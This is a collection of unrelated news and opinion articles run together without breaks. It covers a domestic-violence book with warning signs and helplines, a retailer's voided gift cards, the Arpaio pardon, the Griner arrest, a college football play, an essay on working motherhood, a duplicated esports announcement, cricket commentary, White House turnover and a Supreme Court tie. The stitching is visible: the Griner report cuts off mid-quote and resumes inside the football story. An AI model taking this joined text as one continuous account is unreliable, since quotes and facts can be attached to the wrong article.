There’s far greater awareness now – and the great thing is women know there’s help available Sandra Horley
Domestic violence has moved up the social and political agenda. On Wednesday, a bill to protect the victims of domestic abuse was proposed in the Queen’s speech. The 2015 legislation concerning “coercive control” was also a step forward, attempting to tackle the techniques other than violence that are used by a perpetrator to control a victim – from what she can say to how she must look, to where she can go. These were behaviours Horley had highlighted in her book 25 years earlier. She also advised writers on the Radio 4 soap The Archers, which portrayed this so powerfully through the abuser Rob Titchener. “That storyline helped reach a certain demographic,” she says. “The Sun. EastEnders. The Archers. We need all of it. There’s far greater awareness now – and the great thing is women know there’s help available.”
But the patterns remain the same, and prosecution levels are far too low. Fewer than 10% of reported incidents result in convictions, according to Horley – despite the fact that domestic violence is one of the few crimes where there’s no doubt as to the identity of the perpetrator. “These aren’t burglars who’ve broken in wearing masks,” she says. “What they’ve done is against the law and prosecuting them is the only way to send a clear message that it won’t be tolerated.”
In a patriarchal society like ours, says Horley, domestic violence will always be with us. “Women don’t even have equal pay. Girls are still growing up with the message that the handsome prince on the white horse is the happy ending. For as long as there’s an imbalance of power between the sexes, it’s inevitable that that power will be abused by some men.
“You could put a refuge on every street corner and it wouldn’t be enough. I just hope the book will keep raising awareness and drawing attention – yet again. Because you can never do enough.”
Domestic violence – the warning signs
Common abusive behaviours set out in Power and Control:
• Jealousy and possessiveness.
• Humiliating and insulting you in front of others.
• Sabotaging your relationship with friends and family.
• Sudden changes of mood – charming one minute and abusive the next.
• Monitoring your movements, insisting on time limits when you do things, checking your phone, social networks and spending.
• Controlling what you wear and eat (so subtly, you don’t see it happening).
• Blaming you for the abuse (“I’m not like this with anyone else!” “You make me like this.”)
• Expecting you to have sex when you don’t want to, including when you’re ill or asleep.
• Damaging your treasured possessions.
• Harming or threatening to harm family pets.
• Driving recklessly to frighten you.
• Threatening to kidnap or get custody of the children if you leave.
• Telling you you’re useless and could never cope without him.
• Dominating how you feel – whether that’s happy, afraid or frightened. Having the power to make you constantly change your behaviour to avoid his “displeasure”.
• Power and Control: Why Charming Men Can Make Dangerous Lovers by Sandra Horley (Vermilion, £12.99). To order a copy for £11.40, go to bookshop.theguardian.com or call 0330 333 6846. Free UK p&p over £10, online orders only. Phone orders min. p&p of £1.99.
National Domestic Violence Helpline in partnership with Refuge and Woman’s Aid, 0808 2000 247, refuge.org.uk.
Refuge also runs a website with information on supporting a friend or family member who may be experiencing domestic violence, 1in4women.com.If you purchased a gift card with any Spareparts store, you may be disappointed to learn you can't buy anything with it.
The Saskatoon-based sunglasses and accessories stores filed for creditor protection in October. When the company went into receivership on Tuesday the pre-paid denominations became valueless.
Knowing I threw that much money in the garbage at Christmas is devastating. - Brooklyn Leibel
A new policy set in place by the receiver indicates gift cards will no longer be reimbursed or redeemed in-store, according to a sign posted at the Saskatoon business. Locations in Alberta and British Columbia confirmed they are also following the new rules.
The sudden closure of the Regina store on Wednesday left customers like Brooklyn Leibel frustrated.
"Even if they didn't know an end date, knowing the business is shutting down, I don't know how they were still selling gift cards that now have no value," said Leibel, who purchased $300 worth of cards at the Regina location last week.
This notice posted on the door at Spareparts in Saskatoon this week reflects the new policy at all stores in Western Canada. (Shannon Boklaschuk/CBC News)
A chain of closures
Danny Mysak, chief executive officer of the Saskatchewan and Alberta stores, told CBC he filed for creditor protection with the Court of Queen`s Bench of Alberta on Oct. 5. He said the plan was to restructure the business but it unfortunately went into receivership.
Moving forward, KPMG — a Canadian audit, tax and advisory service — is responsible for the company's assets and rights.
Mysak said he had no idea the new policies would void the gift cards' value. As of Tuesday, the 25-year owner said he had no control over policies.
The consent receivership order indicates KPMG decided to terminate all use of gift cards as of Dec.12.
"This is upsetting to me," said Mysak. "I've been in business a long time and the only way you stay in business for a long time is if you care about your customers."
The Regina location was the first in Western Canada to shut down on Wednesday. But seven stores in Ontario have done the same, including operations in Waterloo and Toronto.
Operations in Alberta and British Columbia will remain open indefinitely.
'Business as usual'
An internal announcement was sent out to employees regarding the current bankruptcy just days after Mysak filed, according to former Regina store employee Jodie Vandergrift.
"Management said it was a bankruptcy reallocation and we had nothing to worry about," said Vandergrift, noting high-ups didn't elaborate on what that meant for the company.
"They told us it was business as usual," she said, adding that selling gift cards wasn't out of the ordinary.
Vandergrift quit just 10 days after the company filed for bankruptcy.
Mysak said it was always his intent to restructure the business in hopes of keeping it afloat.
A sign posted on the Cornwall Centre location door indicates management and staff made the decision to close its doors on Wednesday. (Alex Johnson/CBC News)
Null and void
An email response to Leibel from KPMG states the amount could be reimbursed only if it was purchased with a credit card.
"Knowing I threw that much money in the garbage at Christmas is devastating," said Leibel, who made the payment on her debit card.
The email also indicated Spareparts customers should check with their banks and credit card companies to see if a refund might be possible.
KPMG declined to comment.FILE - In this Jan. 26, 2016 file photo, then-Republican presidential candidate Donald Trump is joined by Joe Arpaio, the sheriff of metro Phoenix, at a campaign event in Marshalltown, Iowa. President Donald Trump has pardoned former sheriff Joe Arpaio following his conviction for intentionally disobeying a judge's order in an immigration case. The White House announced the move Friday night, Aug. 25, 2017, saying the 85-year-old ex-sheriff of Arizona's Maricopa County was a "worthy candidate" for a presidential pardon. (AP Photo/Mary Altaffer, File)
PHOENIX (AP) — President Donald Trump spared former Sheriff Joe Arpaio a possible jail sentence on Friday by pardoning the recent federal conviction stemming from his immigration patrols, reversing what critics saw as a long-awaited comeuppance for a lawman who escaped accountability for headline-grabbing tactics during his tenure as metropolitan Phoenix’s top law enforcer.
The White House said the 85-year-old ex-sheriff was a “worthy candidate” for a presidential pardon. It was Trump’s first pardon as president.
“I am pleased to inform you that I have just granted a full Pardon to 85 year old American patriot Sheriff Joe Arpaio. He kept Arizona safe!” Trump tweeted Friday.
The announcement came three days after a rally in Phoenix at which the president signaled his willingness to absolve Arpaio’s misdemeanor contempt-of-court conviction.
Arpaio was in a celebratory mood after the pardon, eating dinner at an Italian restaurant as someone in his party ordered champagne. He told The Associated Press he was thankful for the pardon.
“I appreciate what the president did,” he said. “I have to put it out there: Pardon, no pardon — I’ll be with him as long as he’s president.”
The pardon drew a swift and harsh denunciation from Latinos and political leaders in Arizona and beyond. They said the action amounted to an endorsement of racism by wiping away the conviction of a man who has been found by the courts to have racially profiled Latinos in his immigration patrols.
“Pardoning Joe Arpaio is a slap in the face to the people of Maricopa County, especially the Latino community and those he victimized as he systematically and illegally violated their civil rights,” Phoenix Mayor Greg Stanton said.
The White House announced the pardon late Friday after Trump fleshed out the details of his ban on transgender individuals serving in the military, a policy that will cheer his conservative base, and as a powerful Category 4 hurricane threatened to batter Texas with heavy winds and severe flooding.
Arpaio became a nationally known political figure over the past dozen years as he took aggressive action to arrest immigrants in the country illegally. But years of legal issues and costs stemming from his immigration efforts began to take a toll on his political power at home, and he was handily defeated by a Democrat in the 2016 election.
It coincided with Trump winning the White House based in large part on his immigration rhetoric, with Arpaio campaigning for him around the country.
Trump has been plagued by poor job approval ratings that currently stand at 34 percent, the lowest mark ever for a president in his first year. His decision on Arpaio may serve to energize Trump supporters dispirited over the president’s decision a week ago to dismiss chief strategist Steve Bannon. But it has angered his opponents even more.
The pardon contradicts a key theme in the movement for tougher immigration enforcement — that all people, no matter who they are, aren’t above the law. Arizona politicians have invoked the “rule of law” for more than a decade as the guiding principle in pushing for tougher immigration laws.
The pardon also marked a devastating defeat for critics who believed the lawman sowed divisions by making hundreds of arrests in crackdowns that separated immigrant families and promoted a culture of cruelty by housing inmates in outdoor tents during triple-digit heat and forcing them to wear pink underwear.
They say it removed the last chance at holding Arpaio legally accountable for what they say is a long history of misconduct, including a 2013 civil verdict in which the sheriff’s officers were found to have racially profiled Latinos in his immigration patrols.
Arpaio was accused of prolonging the patrols for 17 months after a judge had ordered them stopped so that he could promote his immigration enforcement efforts in a bid to boost his successful 2012 re-election campaign.
He acknowledged extending the patrols, but insisted it wasn’t intentional, blaming one of his former attorneys for not properly explaining the importance of the court order and brushing off the conviction as a “petty crime.”
He accused then-President Barack Obama of trying to influence the 2016 sheriff’s race by announcing in court weeks before Election Day that it was willing to prosecute Arpaio.
But the charge itself wasn’t filed by prosecutors. It was recommended by the judge who presided over the profiling case. Lawyers in Trump’s Justice Department prosecuted the case at a five-day trial this summer.
The TV interviews and news releases that media-savvy lawman used over the years to help promote his immigration crackdowns and win re-election came back to bite him when the judge who found him guilty cited comments the sheriff made about keeping up the patrols, even though he knew he wasn’t allowed.
The criminal case sprang from the profiling lawsuit that ultimately discredited Arpaio’s immigration patrols and is expected to cost taxpayers $92 million by next summer.
Arpaio’s office was accused in other instances of wrongdoing in the profiling case, though none led to criminal charges.
The alliance between Trump and Arpaio centers heavily on immigration enforcement, such as getting local police officers to take part in immigration enforcement. They also have questioned the authenticity of Obama’s birth certificate and have a similar history in sparring with judges.
During the presidential campaign, Arpaio showered Trump with support. He appeared for Trump and gave a speech at the Republican National Convention.
“So Sheriff Joe was convicted for doing his job?” Trump asked supporters at Tuesday’s rally in Phoenix. “I’ll make a prediction. I think he’s going to be just fine, OK.”
Trump issued the pardon seven months after taking office, though it’s not unprecedented for a president to issue a pardon in their first year in office.
The most recent president to issue a pardon so early in his term was George H. W. Bush, who granted clemency after seven months as president, said Jeffrey Crouch, a professor of politics at American University who has written a book on presidential pardons.
Arpaio said he’ll discuss more about his case next week, but says he’ll remain active politically now that he’s no longer facing jail time.
“I don’t fish,” Arpaio said. “I’ll be very active.”
___
Superville reported from Washington, D.C. Associated Press reporter Eric Tucker contributed from Washington. Follow Jacques Billeaud at twitter.com/jacquesbilleaud. His work can be found at https://www.apnews.com/search/jacques%20billeaud.CLOSE Phoenix Mercury star Brittney Griner was arrested for assault and disorderly charges in Phoenix on Wednesday. Her fiancee Tulsa Shock forward Glory Johnson was also arrested on the same charges. Time
Phoenix Mercury star Brittney Griner was arrested on assault allegations. (Photo: Maricopa County Sheriff's Office)
PHOENIX -- A verbal argument between Phoenix Mercury star Brittney Griner and her fiancée turned physical on Wednesday afternoon resulting in the arrests of both women on assault and disorderly conduct allegations, according to a police report.
Griner, 24, and WNBA player Glory Johnson were in an argument in the Goodyear home they recently purchased. Several people inside the home tried to break up the fight before police were called, police said.
Police reports indicate that Johnson's sister called Goodyear police Wednesday afternoon to report that Johnson and Griner, who were "in the living room throwing things at each other."
When police arrived at the home on 133rd Drive, Johnson's sister, Judy, told officers she was at a loss for what to do because of the way the two were fighting, so she called police.
"We couldn't get them pulled apart," Judy Johnson said, according to a police report.
Griner told officers that she and Johnson were having relationship issues and that they had just purchased their first home together.
David Michael Cantor, the attorney for Griner, released a statement on Thursday afternoon.
"The last few months have been an extremely stressful time for Brittney and Glory," the statement read. "They will continue to work through these hardships together and ask that the media respect their privacy as they handle this family matter. Glory and Brittney sincerely apologize for the distraction this has caused their families, respective teams, the WNBA, sponsors and fans."
Griner told police that she and Johnson had been arguing every day and got into each other's faces Wednesday afternoon in the home they had bought two days earlier after Johnson said Griner "disrespected" her, according to a police report.
Johnson told police Griner had gotten too close, so she pushed her back to get some separation and began talking to her sister when she was pushed in the back of the head by Griner. Johnson turned around and the physical altercation began, with both fighting on the floor for 4 to 6 minutes. The entire episode lasted about 20 minutes, according to the report.
"I asked Brittney if things got out of control, and she nodded her head up and down |
-25 from the Ole Miss 40, needing to convert to stay in the game. The Rebels had already scored a touchdown on their first drive of overtime, so the Razorbacks had to match. It was do or die.
The coaches sent in the play. All three wide receivers lined up to the right of quarterback Brandon Allen were supposed to run go-routes towards the end zone, and tight end Hunter Henry was asked to run an under route over the middle, short of the sticks.
“I kind of knew that if he threw the ball to me, I was going to have to make a guy miss,” Henry said. “And I knew if a guy hit me, I was going to have to try to make a play and throw it to someone else, see if they could make a play.”
Razorbacks tight end Hunter Henry (84) laterals the ball as he is tackled by Mississippi defensive back Tony Bridges (1) during overtime. Matt Bush/USA TODAY Sports
Henry caught the ball at the 26-yard line, 11 yards short of the first down. and Ole Miss defensive back Tony Bridges got to him, wrapping up his legs.
The lateral
With Henry going down, he had no other choice but to throw the ball behind him. He looked back, saw a group of his teammates back towards where the line of scrimmage was and just threw it in that general direction.
“If there’s a guy that I would want to throw a backwards pass probably 20 yards in the air in no direction other than the way he wanted to throw it, I would pick Hunter Henry,” Arkansas coach Bret Bielema said after the game.
“I saw the ball in the air, hoping one of our guys was going to catch it.”
Ole Miss coach Hugh Freeze also saw the ball flying through the air, but he saw one of his players in position to potentially make a play on it.
“Marquis [Haynes] is standing there, and I was just hoping that he’s tall enough to get a hand on it,” Freeze said. “It went right over his hand to them. And then to get it to their running back somehow... "
The ball was actually deflected by Arkansas offensive lineman Dan Skipper before running back Alex Collins picked it up. As Henry said, “it ended up in the perfect person’s hands.”
The run after the catch
Once Collins picked up the football, he still had 27 yards to pick up the first down. But the Razorbacks were ready. They basically had a wall set up for him on the left side of the field with most of the Ole Miss defenders still on the right side, scrambling to get back.
Collins wasn’t home free just yet, though. When he got to the 20-yard line, he had to wait for one more block and make a cut outside to pick up the first down.
“He is so instinctive,” Bielema said. “He almost got tackled short of the down marker. I think he knew he had to make that last cut to get to where he needed to be. Again, it’s just one of the true definitions of how great a competitor Alex is.”
Arkansas picked up the first down on the crazy lateral play. Then two plays later, with Ole Miss still on its heels, the Razorbacks scored a touchdown. The rest, as they say, was history.
“It was just sweet,” Henry said. “I think God was on our side. It was really cool to be a part of something like that, to have that fight and that perseverance through that whole game.”Elsa Walsh is the author of “Divided Lives: The Public and Private Struggles of Three American Women.” She is a former Washington Post reporter and New Yorker staff writer. This essay is adapted from a speech she delivered at St. Mary’s College of Maryland on April 5.
In my years as a journalist, I have written and spoken a great deal about women’s lives and struggles, and wrote a book about the conflicts facing successful female professionals. But today, 16 years into life as a working mother and 23 years into a marriage, I’ve come to question many of the truths I once held dear. The woman I wanted to be at 22 is not the woman I wanted to be at 38 — not even close — and she is certainly not who I am now at 55.
Every few years, America rightly plunges into a public and heated discussion about women and feminism, work and family. The latest round has been stoked by Sheryl Sandberg, Anne-Marie Slaughter and Marissa Mayer, who have become symbols and participants in the argument over what women want. Yet, I find it to be a narrow conversation, centered largely on work, as though feminism is about nothing more than becoming a smart and productive employee and rising to the top.
Parenthood and family are much more central to our lives than this conversation lets on. The debate has become twisted and simplistic, as if we’re merely trying to figure out how women can become more like men. Instead, let’s ask: How can women have full lives, not just one squeezed around a career?
It helps to take a longer view of a woman’s life.
I was born in 1957 and raised in a town called Belmont, just south of San Francisco. I am one of six children, five girls and one boy. My father was an engineer and my mother a housewife; indeed, growing up I had not a single friend whose mother worked. During my high school years in the early 1970s, revolution was in the air. Across the bay was Berkeley, the home of free speech. Twenty miles up the road was Haight-Ashbury, the home of free love. And almost everyone I knew was protesting Vietnam and embracing civil rights.
But what really excited me was the women’s movement. It’s hard to grasp now just how intoxicating it was as a young girl to hear Gloria Steinem tell us we could be anything we wanted to be. Or to read, during freshman year at my surprisingly progressive all-girls Catholic school, Betty Friedan’s “The Feminine Mystique,” eight years after it was published, saying we could find meaning outside the home.
All this seemed possible because the pill had just become widely available, and for the first time women had control over whether and when they had a child. (I will never forget finding that oddly shaped, Pez-like dispenser in my mother’s bedroom right after the birth of my youngest sister; my mother called her “That’s It” for weeks before giving her a name.)
If the pill didn’t work, there was Roe v. Wade, which became law when I was 15. And I don’t know a single woman my age who did not have her first gynecological exam at a Planned Parenthood clinic — with or without her parents’ permission. It was a glorious time to be a young girl with ambition. Who would want to be a man when you could be a woman?
So, when I enrolled at the University of California at Berkeley in 1975, I held three truths to be self-evident: I would never marry. I would never have a child. And I would have an interesting job, as a writer or a lawyer.
I wanted to be independent and self-supporting. I wanted love, but I wanted to be free.
A year later, right after graduation, I moved to Washington and got that interesting job — as a reporter at The Washington Post. I embraced my feminism proudly. I always wore pants to work, and I swore off (stupidly, I recognize now) reading any fiction by male authors. I loved reporting. I loved working. I loved making my own money, even if, two years later, I discovered that a newly hired and less experienced male colleague was making more money. (When I quizzed him, his answer was simple: He had asked for more. No one ever takes the first offer, he said.)
Not long after arriving at The Post, I met a man who also was a reporter and editor there. Instead of hindering me, he helped and encouraged me. A year and a half later, we moved in together. Still, I announced — to my parents, my friends and yes, to my boyfriend — that I was never getting married. Marriage was a patriarchal system, and I wanted none of it. We would stay together because we wanted to be together, I said.
Seven years later, I married him. And I was happy. Instead of feeling trapped, I felt liberated and secure and protected — not by patriarchy but by love. He had a young daughter whom I adored, and of course, seven years after our wedding, I had a child. I’d been wrong about that, too.
The feminist battles in those years were over Clarence Thomas and Anita Hill, Susan Faludi’s“Backlash” and Naomi Wolf’s “The Beauty Myth.” After leaving The Post and before joining the New Yorker magazine as a staff writer, I entered the fray with my book, “Divided Lives: The Public and Private Struggles of Three American Women,” an intimate look at three accomplished women in turmoil: a broadcast journalist who landed her dream job just around the time she gave birth to her first child after several miscarriages, a symphony conductor who was married to a governor, and a breast cancer surgeon who had been passed over for a top job in favor of a man. I chose women in their late 30s and early 40s who seemed to have all the advantages of wealth, education and opportunity and who had broken through gender barriers in their professions. I concluded that if even women of privilege were struggling — and they were — then we still hadn’t figured it out and perhaps had not come such a long way after all.
Nearly two decades later, Sandberg, the chief operating officer of Facebook and the author of the best-selling “Lean In,” laments that far too few women are in positions of leadership — they make up only 4 percent of Fortune 500 chief executives — and that the numbers are so small because women hold themselves back. Too many women, she says, curtail their ambitions in anticipation of having a family and are not as aggressive as men in how they approach their careers.
As I read “Lean In,” I nodded in agreement with much of what Sandberg says: Negotiate your salary, take a seat at the table (and when you’re there, speak up), don’t reflexively turn down opportunities, and choose your mate carefully because that is the most important career decision you will make. It is.
But with other passages, I found myself shaking my head. By the time I reached the end, I felt deeply ambivalent, particularly on three points. First, Sandberg does not seem to get just how hard it is to have a demanding job and a meaningful family life if you cannot afford child care and other help. (She criticizes the lack of family-friendly policies in the workplace and recognizes that some women may find more meaning in staying home, but those small sections read like afterthoughts, or as if someone advised her to include them.)
Second, I suspect that she would probably have written a completely different book if her children were older and she were facing their imminent departure, rather than worrying about their bedtime. (With my daughter poised to leave for college, all I want is to have more time with her, not less.)
And third, I have to wonder if Sandberg does not realize that she is going to die someday. There is so little life and pleasure in her book outside of work. Even sex is framed as something that men will get more of if they pitch in and help their working wives.
Success, particularly the kind Sandberg calls for, requires ever more time at the office, ever more travel. It requires always being available, always a click away. Sandberg is almost giddy when she describes getting up at 5 a.m. to answer e-mails before her children wake up and getting back on her computer once they are asleep.
“Facebook is available 24/7 and for the most part, so am I,” she writes. “The days when I even think of unplugging for a weekend or a vacation are long gone.”
Imagine what that life looks like to a child. Imagine what it looks like to yourself when you are 80.
That is not how I want my daughter to live, and it is not how I want to live.
In my lifetime, very little has changed to improve the lives of working parents and their children. In fact, almost all of it has become worse since I was a young woman of 22, then a new mother of 38. And this is the most depressing measure of the women’s movement. Women like myself thought we had won feminism’s big prize — equal opportunity. But in our excitement and individual victories, we failed to demand the structural and cultural changes needed to make it work. In that, we have failed our daughters.
There is no real safety net for working mothers.
The vast majority of American women do not have a choice about whether they will work. They will, and most will have to work full time to support their families. Full-time work in America today is, for the most part, not compatible with family life, especially if you are a professional and have ambitions. Today, almost 40 percent of men in professional jobs work 50 hours or more a week; the average working woman with a graduate degree works almost as long. That’s five 10-hour days, not counting the commute.
When it is time for my daughter to make her way through this culture of overwork, I hope she follows some of Sandberg’s advice. I will tell her to work hard and take a seat at the table, speak up and, of course, always negotiate her salary. But I will also tell her to set her own course and follow neither my model nor Sandberg’s. I will remind her of the time when she was barely 2 years old and ready for her first real Halloween. I thought I had the perfect outfit for her — hand-embroidered Chinese silk pajamas in turquoise and matching slippers with gorgeous feathers — until her father took her to Kmart,where she bounded over to a red Teletubby getup. I balked when they brought home the cellophane package. “In her own image,” her dad gently told me. I keep a smiling photo of her in that costume on the table next to my bed as a reminder.
I’ll also tell her to make time for herself. Unplug from the grid. Carve out space for solitude. Search for work you love that allows flexibility if you want to have children. And if you do, have them when you’re older, after you’ve reached that point in your career when you are good enough at what you do that you will feel comfortable dialing back for a while. Don’t wait until it’s too late to start planning, because no one else is going to do it for you. And don’t quit completely because, as wonderful as parenthood is, it cannot and will not be your whole life. Learn how to manage conflict, because the greater the level you can tolerate, the more freedom you will retain. Making compromises is a healthy approach to living.
For a woman to say she is searching for a “good enough” life is not failure — it is maturity and self-knowledge.
I’d also tell her, if she marries, to work hard on her relationship. It’s not only much easier than getting divorced, it’s more rewarding and more fun. Love. Full stop. That’s what matters.
When my daughter was 4, she came up to my home office one evening around 6:30. I was on a deadline and had been for days. She had two big bags filled with her stuff, her pajamas tucked in her backpack. She declared that she was not leaving the room until I came downstairs and played with her. I was frustrated and told her I was never going to be able to finish unless she left, and then I marched her down to her father.
The next morning I wrote a letter to myself. I recently found the note, dated Feb. 8, 2001: “Today is the day I decided to change my life.” My solutions weren’t perfect, but I tried to rearrange my work life so that I would be available when she came home from school. (I knew I had it better than most women. I had full-time help and could afford the changes, too, a luxury not available to all.) I had been in such a hurry for such a long time that “no” had become my default answer to her. Now it would be “yes.” I wrote less and cut back on traveling for stories. I turned down assignments and job offers. I adopted a slower pace. It was not always easy, but it was the right choice. It did not matter much to the greater world when my next article appeared, but it did matter to my daughter that I was nearby. And it mattered to me.
A couple of years later, my daughter came home from school one day and announced that she’d had the best day of her life. When I asked what had happened, she said it was just an ordinary day. I pressed — certainly something different must have occurred? She shook her head. Intrigued, I called her first-grade teachers and asked if anything special had happened in class. No, they repeated, it was just an ordinary day.
It took a minute or two to sink in. All this effort to create the big moments that working mothers everywhere strive to produce, all the bells and whistles I was madly trying to clang, and my daughter said the best day of her life had been an ordinary day. A good enough life.
Motherhood is not a job. It is a joy.
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Read more from The Post:
Katharine Weymouth: “How do you ‘lean in’ if you don’t have someone to lean on?
Connie Schultz reviews Sheryl Sandberg’s ‘Lean In’
Jessica Valenti: Sheryl Sandberg isn’t the perfect feminist. So what?
Ruth Marcus: Sheryl Sandberg’s valuable advice
Monica Hesse: Sheryl Sandberg wants all women to ‘Lean In’; she knows it’s an unfair burden
Friend us on Facebook and follow us on Twitter.PROlane Profile Joined December 2015 United States 34 Posts #1 Announcement Gold Club World Championship!
Summon Your Mount and Prep Your Deck as the Gold Club World Championship Makes its Return to the Water Cube in Beijing
The 2017 Gold Club World Championship (or “GCWC”), jointly held by NetEase and Blizzard Entertainment, will take place from Nov. 27 to Dec. 10 and feature Heroes of the Storm and Hearthstone events. Top clubs from around the world will clash at the GCWC, with the knockout stage to be held in the Water Cube, the National Aquatics Center, in Beijing, China and vying for $600,000 USD total prize pool ($300,000 USD for each game) and the ultimate glory.
Pull Up a Chair as World’s Best Hearthstone Clubs Duke It Out
Hearthstone will make its debut in the second edition of the GCWC and unlike traditional tournaments where players compete for their individual honor, the Hearthstone competition at the GCWC will be focusing around clubs instead. This presents an unprecedented opportunity for fans, aside from watching duels between elite card-slingers, to see how clubs match wits with one another and the camaraderie between members of each club.
The Battle Being Waged in the Nexus Continues
This year’s GCWC is poised for another brawl among the best Heroes teams around the world. The global Heroes Esports scene and the game itself have seen tremendous growth this year, and countless epic battles have been fought by the power houses in the regional Clashes and the Mid-Season Brawl. Much can be anticipated when the 8 teams that are among the best in the world collide in Beijing.
A Star-Studded Water Cube
For a second time, the National Aquatics Center, or Water Cube as most people in China will refer to it, will be the hosting venue for the knockout phase of the 2017 GCWC. Originally built for the 2008 Beijing Olympics, this venue has witnessed numerous competitors chasing their dreams of standing atop the podium. Public transportation and facilities around the venue makes it easy for the coming parties to travel. Aside from enjoying a premier level Esports event, fans who are attending can also expect to see some of the biggest names in the Esports scene and gaming community. It is going to be a great festivity for all who enjoy Blizzard games.
The Group Stage of the 2017 Gold Club World Championship will be from Nov. 27 to Dec. 3, with the exhilarating Knockout Stage and Finals scheduled from Dec. 6 to Dec. 10. Heroes of the Storm and Hearthstone will each receive an equal share of the 600,000 USD total prize pool.
The finest Hearthstone and Heroes clubs will soon answer the call to become a contender in the upcoming 2017 Gold Club World Championship. More information about the tournament and the participating teams will be announced at a later date. Please stay tune to the official Hearthstone and Heroes of the Storm website for the latest updates.
The news has been spread! Please join us and see how the story is going to unfold in this year’s Gold Club World Championship!
The 2017 Gold Club World Championship (or “GCWC”), jointly held by NetEase and Blizzard Entertainment, will take place from Nov. 27 to Dec. 10 and feature Heroes of the Storm and Hearthstone events. Top clubs from around the world will clash at the GCWC, with the knockout stage to be held in the Water Cube, the National Aquatics Center, in Beijing, China and vying for $600,000 USD total prize pool ($300,000 USD for each game) and the ultimate glory.Hearthstone will make its debut in the second edition of the GCWC and unlike traditional tournaments where players compete for their individual honor, the Hearthstone competition at the GCWC will be focusing around clubs instead. This presents an unprecedented opportunity for fans, aside from watching duels between elite card-slingers, to see how clubs match wits with one another and the camaraderie between members of each club.This year’s GCWC is poised for another brawl among the best Heroes teams around the world. The global Heroes Esports scene and the game itself have seen tremendous growth this year, and countless epic battles have been fought by the power houses in the regional Clashes and the Mid-Season Brawl. Much can be anticipated when the 8 teams that are among the best in the world collide in Beijing.For a second time, the National Aquatics Center, or Water Cube as most people in China will refer to it, will be the hosting venue for the knockout phase of the 2017 GCWC. Originally built for the 2008 Beijing Olympics, this venue has witnessed numerous competitors chasing their dreams of standing atop the podium. Public transportation and facilities around the venue makes it easy for the coming parties to travel. Aside from enjoying a premier level Esports event, fans who are attending can also expect to see some of the biggest names in the Esports scene and gaming community. It is going to be a great festivity for all who enjoy Blizzard games.The Group Stage of the 2017 Gold Club World Championship will be from Nov. 27 to Dec. 3, with the exhilarating Knockout Stage and Finals scheduled from Dec. 6 to Dec. 10. Heroes of the Storm and Hearthstone will each receive an equal share of the 600,000 USD total prize pool.The finest Hearthstone and Heroes clubs will soon answer the call to become a contender in the upcoming 2017 Gold Club World Championship. More information about the tournament and the participating teams will be announced at a later date. Please stay tune to the official Hearthstone and Heroes of the Storm website for the latest updates.
Writer Editor-in-Chief - LiquidHeroesAustralian cricketing great Ian Healy has blamed the wives and girlfriends of the Australian players for contributing to the team's calamitous start to the fourth Ashes test.
The former Test wicketkeeper questioned whether the WAGs were a "distraction" on tour, after the tourists' were bowled out for 60 in just 111 balls before lunch on day one, the shortest first inning in Test cricket history.
Australian partners, back row: Isabelle Platt (Mitch Marsh), Jessica Johnson (Mitchell Johnson), Melissa Waring (Nathan Lyon), Dani Willis (Steve Smith), Kyly Clarke (Michael Clarke), and Kristy Voges (Adam Voges). Front row: Bec O'Donovan (Shaun Marsh), Sam Nelson (Peter Nevill) and Cherie Harris (Ryan Harris) with son Carter. Credit:Getty Images
"All their partners are here and some of the most respected cricketers I played with hated that distraction. They weren't allowed on tour until after the series had been won," Healy said during his commentary of the fourth Test at Trent Bridge for Channel Nine.
"Your mind needs to be completely focused on it. Cricket is a sport that requires complete concentration. You need everything going for you and I'm not sure they're pushing for that hard enough." Healy said.The Trump administration has reportedly seen an unprecedented rate of first-year staff departures. (Mandel Ngan/AFP/Getty Images)
The Trump administration has featured one of the quickest revolving doors in recent presidential history.
The Wall Street Journal reports that the White House under President Donald Trump has seen an unprecedented 34 percent turnover rate in its first year. That number is the highest of any first-year departure rates in the last 40 years. It is also twice as high as in 1981, the next highest, when then-President Ronald Reagan's administration saw a 17 percent turnover.
Per the Journal, 21 of the 61 senior officials tracked have either resigned, been fired or reassigned.
"Not only is the percentage double, the seniority of people leaving is extraordinarily high," Kathryn Dunn-Tenpas, a senior fellow at the Brookings Institution who has tracked White House departures, told the Wall Street Journal.
Dunn-Tenpas noted that administrations must navigate staffing missteps and growing pains in the first year, but in Trump's case, "It's a president with no experience in government and people around him who also had no experience," she said.
The Trump team has been plagued by controversy and public criticism throughout each departure – most recently, with the exit of Omarosa Manigault Newman. Manigault Newman resigned her position as the director of communications for the White House Public Liaison Office earlier this month, with a departure planned for the end of January. Dina Powell, the deputy national security adviser for strategy, will also leave the White House early next year.
The resignations came on the heels of other notable departures from high level positions within the administration.
Former national security adviser Michael Flynn was fired after just 25 days on the job, and former White House communications director Anthony Scaramucci was removed from his role as communications chief after 11 days on the job.
Other top aides, including former White House chief of staff Reince Priebus and former chief strategist Stephen Bannon have left the administration after rocky tenures on staff. And ousted FBI Director James Comey, White House press secretary Sean Spicer and members of the State Department also drew widespread attention during their high-profile firings and resignations.Under the Radar Blog Archives Select Date… January, 2019 December, 2018 November, 2018 October, 2018 September, 2018 August, 2018 July, 2018 June, 2018 May, 2018 April, 2018 March, 2018 February, 2018
The tie announced by the Supreme Court Tuesday is the kind of divide that Democrats have warned about since Republican senators announced their plan not to fill Scalia's seat until a new president is sworn in. | AP Photo SCOTUS hits first post-Scalia deadlock in credit case
The Supreme Court on Tuesday announced its first deadlock since Justice Antonin Scalia's unexpected death last month, splitting 4-4 in a dispute over an obscure federal rule applying gender-discrimination protections to spouses of applicants for bank loans.
As a result of the court's failure to muster a majority one way or another, the 8th Circuit Court of Appeals ruling at issue is upheld but only for the seven states in that circuit: Arkansas, Iowa, Minnesota, Missouri, Nebraska, as well as North and South Dakota. A conflicting ruling is on the books in the 6th Circuit, which includes Kentucky, Michigan, Ohio, and Tennessee. Another federal appeals court, the 7th Circuit, seems to have sided with the 8th, but it is unclear whether that 7th Circuit ruling was definitive.
The Supreme Court's action hands a win to the Missouri community bank at issue in the case but leaves in place the split in federal court rulings on the question of whether the Equal Credit Opportunity Act can be applied to those who guarantee bank loans or are required to do so but don't apply for them. As a result, Americans in some states have the protection of the rule the Federal Reserve Bank issued decades ago, imposing such a requirement, those in others don't and in still others the Fed's authority to enforce the rule is unclear.
It's the kind of divide that Democrats have warned about since Republican senators announced their plan not to fill Scalia's seat until a new president is sworn in. However, it's not the kind of case likely to cause chaos in the courts or on the streets. It remains to be seen whether any of the court's more high-profile pending cases, on issues like abortion clinic regulations, executive power over immigration, or religious freedom protections from Obamacare mandates, prompt a similar 4-4 tie. It's also unknown whether the court would hand down a 4-4 ruling in such cases or hold them over for possible re-argument next term.
